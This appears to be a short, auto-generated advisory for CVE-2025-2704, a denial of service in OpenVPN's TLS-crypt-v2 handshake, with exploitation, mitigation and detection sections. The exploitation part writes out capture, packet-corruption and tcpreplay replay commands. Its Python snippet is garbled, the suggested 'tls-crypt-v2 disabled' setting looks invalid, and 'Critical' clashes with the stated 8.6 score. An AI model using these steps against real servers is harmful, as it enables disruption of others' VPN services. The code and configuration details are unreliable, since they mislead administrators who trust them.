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How CVE-2025-2704 Works
OpenVPN servers (v2.6.1–2.6.13) using TLS-crypt-v2 for encrypted handshakes fail to properly validate early-stage packets. Attackers can intercept, corrupt, and replay malformed handshake messages, causing the server to enter an infinite error-handling loop. This exhausts CPU resources, leading to denial of service. The flaw stems from insufficient packet integrity checks during the TLS-crypt-v2 key exchange phase.
DailyCVE Form
Platform: OpenVPN
Version: 2.6.1–2.6.13
Vulnerability: DoS via replay
Severity: Critical
Date: 05/23/2025
What Undercode Say:
Exploitation
- Capture Handshake: Use `tcpdump` to intercept OpenVPN traffic:
tcpdump -i eth0 'udp port 1194' -w handshake.pcap
- Modify Packets: Corrupt the TLS-crypt-v2 payload using a hex editor or script:
with open("handshake.pcap", "r+b") as f: f.seek(100) Target handshake offset f.write(b"\xFF" 16) Overwrite key material
3. Replay Attack: Send corrupted packets via `tcpreplay`:
tcpreplay -i eth0 handshake.pcap
Mitigation
1. Patch: Upgrade to OpenVPN 2.6.14+.
2. Workaround: Disable TLS-crypt-v2 in `server.conf`:
tls-crypt-v2 disabled
3. Network Controls:
iptables -A INPUT -p udp --dport 1194 -m recent --set --name openvpn iptables -A INPUT -p udp --dport 1194 -m recent --update --seconds 5 --hitcount 3 --name openvpn -j DROP
Detection
Check logs for repeated handshake failures:
grep "TLS-crypt-v2 error" /var/log/openvpn.log
CVSS 4.0 Metrics
- Attack Vector: Network
- Complexity: Low
- Impact: Availability (High)
- CVSS Score: 8.6 (Critical)
References
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
